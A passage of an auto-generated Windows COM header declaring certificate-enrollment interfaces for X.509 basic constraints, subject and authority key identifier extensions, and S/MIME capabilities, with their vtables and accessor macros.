EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_IsCA )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PathLenConstraint )( \n            __RPC__in IX509ExtensionBasicConstraints * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        END_INTERFACE\n    } IX509ExtensionBasicConstraintsVtbl;\n\n    interface IX509ExtensionBasicConstraints\n    {\n        CONST_VTBL struct IX509ExtensionBasicConstraintsVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509ExtensionBasicConstraints_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509ExtensionBasicConstraints_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509ExtensionBasicConstraints_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509ExtensionBasicConstraints_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509ExtensionBasicConstraints_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509ExtensionBasicConstraints_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509ExtensionBasicConstraints_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509ExtensionBasicConstraints_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509ExtensionBasicConstraints_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509ExtensionBasicConstraints_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509ExtensionBasicConstraints_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509ExtensionBasicConstraints_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n\n#define IX509ExtensionBasicConstraints_InitializeEncode(This,IsCA,PathLenConstraint)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,IsCA,PathLenConstraint) ) \n\n#define IX509ExtensionBasicConstraints_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509ExtensionBasicConstraints_get_IsCA(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_IsCA(This,pValue) ) \n\n#define IX509ExtensionBasicConstraints_get_PathLenConstraint(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PathLenConstraint(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509ExtensionBasicConstraints_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509ExtensionSubjectKeyIdentifier_INTERFACE_DEFINED__\n#define __IX509ExtensionSubjectKeyIdentifier_INTERFACE_DEFINED__\n\n/* interface IX509ExtensionSubjectKeyIdentifier */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509ExtensionSubjectKeyIdentifier;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab317-217d-11da-b2a4-000e7bbb2b09\")\n    IX509ExtensionSubjectKeyIdentifier : public IX509Extension\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strKeyIdentifier) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_SubjectKeyIdentifier( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionSubjectKeyIdentifierVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509ExtensionSubjectKeyIdentifier * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strKeyIdentifier);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SubjectKeyIdentifier )( \n            __RPC__in IX509ExtensionSubjectKeyIdentifier * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509ExtensionSubjectKeyIdentifierVtbl;\n\n    interface IX509ExtensionSubjectKeyIdentifier\n    {\n        CONST_VTBL struct IX509ExtensionSubjectKeyIdentifierVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509ExtensionSubjectKeyIdentifier_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509ExtensionSubjectKeyIdentifier_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509ExtensionSubjectKeyIdentifier_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509ExtensionSubjectKeyIdentifier_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509ExtensionSubjectKeyIdentifier_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509ExtensionSubjectKeyIdentifier_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509ExtensionSubjectKeyIdentifier_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509ExtensionSubjectKeyIdentifier_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509ExtensionSubjectKeyIdentifier_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509ExtensionSubjectKeyIdentifier_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509ExtensionSubjectKeyIdentifier_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509ExtensionSubjectKeyIdentifier_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n\n#define IX509ExtensionSubjectKeyIdentifier_InitializeEncode(This,Encoding,strKeyIdentifier)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,Encoding,strKeyIdentifier) ) \n\n#define IX509ExtensionSubjectKeyIdentifier_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509ExtensionSubjectKeyIdentifier_get_SubjectKeyIdentifier(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_SubjectKeyIdentifier(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509ExtensionSubjectKeyIdentifier_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509ExtensionAuthorityKeyIdentifier_INTERFACE_DEFINED__\n#define __IX509ExtensionAuthorityKeyIdentifier_INTERFACE_DEFINED__\n\n/* interface IX509ExtensionAuthorityKeyIdentifier */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509ExtensionAuthorityKeyIdentifier;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab318-217d-11da-b2a4-000e7bbb2b09\")\n    IX509ExtensionAuthorityKeyIdentifier : public IX509Extension\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE InitializeEncode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strKeyIdentifier) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeDecode( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_AuthorityKeyIdentifier( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509ExtensionAuthorityKeyIdentifierVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        /* [custom] */ HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Critical )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Critical )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeEncode )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strKeyIdentifier);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AuthorityKeyIdentifier )( \n            __RPC__in IX509ExtensionAuthorityKeyIdentifier * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } IX509ExtensionAuthorityKeyIdentifierVtbl;\n\n    interface IX509ExtensionAuthorityKeyIdentifier\n    {\n        CONST_VTBL struct IX509ExtensionAuthorityKeyIdentifierVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509ExtensionAuthorityKeyIdentifier_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509ExtensionAuthorityKeyIdentifier_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509ExtensionAuthorityKeyIdentifier_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509ExtensionAuthorityKeyIdentifier_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509ExtensionAuthorityKeyIdentifier_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509ExtensionAuthorityKeyIdentifier_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509ExtensionAuthorityKeyIdentifier_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509ExtensionAuthorityKeyIdentifier_Initialize(This,pObjectId,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,Encoding,strEncodedData) ) \n\n#define IX509ExtensionAuthorityKeyIdentifier_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define IX509ExtensionAuthorityKeyIdentifier_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define IX509ExtensionAuthorityKeyIdentifier_get_Critical(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Critical(This,pValue) ) \n\n#define IX509ExtensionAuthorityKeyIdentifier_put_Critical(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Critical(This,Value) ) \n\n\n#define IX509ExtensionAuthorityKeyIdentifier_InitializeEncode(This,Encoding,strKeyIdentifier)\t\\\n    ( (This)->lpVtbl -> InitializeEncode(This,Encoding,strKeyIdentifier) ) \n\n#define IX509ExtensionAuthorityKeyIdentifier_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define IX509ExtensionAuthorityKeyIdentifier_get_AuthorityKeyIdentifier(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_AuthorityKeyIdentifier(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509ExtensionAuthorityKeyIdentifier_INTERFACE_DEFINED__ */\n\n\n#ifndef __ISmimeCapability_INTERFACE_DEFINED__\n#define __ISmimeCapability_INTERFACE_DEFINED__\n\n/* interface ISmimeCapability */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ISmimeCapability;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab319-217d-11da-b2a4-000e7bbb2b09\")\n    ISmimeCapability : public IDispatch\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ LONG BitCount) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ObjectId( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_BitCount( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ISmimeCapabilityVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ISmimeCapability * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ISmimeCapability * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ISmimeCapability * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ISmimeCapability * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ISmimeCapability * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ISmimeCapability * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ISmimeCapability * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ISmimeCapability * This,\n            /* [in] */ __RPC__in_opt IObjectId *pObjectId,\n            /* [in] */ LONG BitCount);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ObjectId )( \n            __RPC__in ISmimeCapability * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_BitCount )( \n            __RPC__in ISmimeCapability * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        END_INTERFACE\n    } ISmimeCapabilityVtbl;\n\n    interface ISmimeCapability\n    {\n        CONST_VTBL struct ISmimeCapabilityVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ISmimeCapability_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ISmimeCapability_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ISmimeCapability_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ISmimeCapability_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ISmimeCapability_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ISmimeCapability_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ISmimeCapability_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ISmimeCapability_Initialize(This,pObjectId,BitCount)\t\\\n    ( (This)->lpVtbl -> Initialize(This,pObjectId,BitCount) ) \n\n#define ISmimeCapability_get_ObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_ObjectId(This,ppValue) ) \n\n#define ISmimeCapability_get_BitCount(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_BitCount(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ISmimeCapability_INTERFACE_DEFINED__ */\n\n\n#ifndef __ISmimeCapabilities_INTERFACE_DEFINED__\n#define __ISmimeCapabilities_INTERFACE_DEFINED__\n\n/* interface ISmimeCapabilities */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ISmimeCapabilities;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab31a-217d-11da-b2a4-000e7bbb2b09\")\n    ISmimeCapabilities : public IDispatch\n    {\n    public:\n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_ItemByIndex( \n            /* [in] */ LONG Index,\n            /* [retval][out] */ __RPC__deref_out_opt ISmimeCapability **pVal) = 0;\n        \n        virtual /* [helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get_Count( \n            /* [retval][out] */ __RPC__out long *pVal) = 0;\n        \n        virtual /* [restricted][helpstring][id][propget] */ HRESULT STDMETHODCALLTYPE get__NewEnum( \n            /* [retval][out] */ __RPC__deref_out_opt LPUNKNOWN *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Add( \n            /* [in] */ __RPC__in_opt ISmimeCapability *pVal) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Remove( \n            /* [in] */ LONG Index) = 0;\n        \n        virtual /* [helpstring][id] */ HRESULT STDMETHODCALLTYPE Clear( void) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE AddFromCsp( \n            /* [in] */ __RPC__in_opt ICspInformation *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE AddAvailableSmimeCapabilities( \n            /* [in] */ VARIANT_BOOL MachineContext) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ISmimeCapabilitiesVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ISmimeCapabilities * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ISmimeCapabilities * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ISmimeCapabilities * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ISmimeCapabilities * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ISmimeCapabilities * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ISmimeCapabilities * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ISmimeCapabilities * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            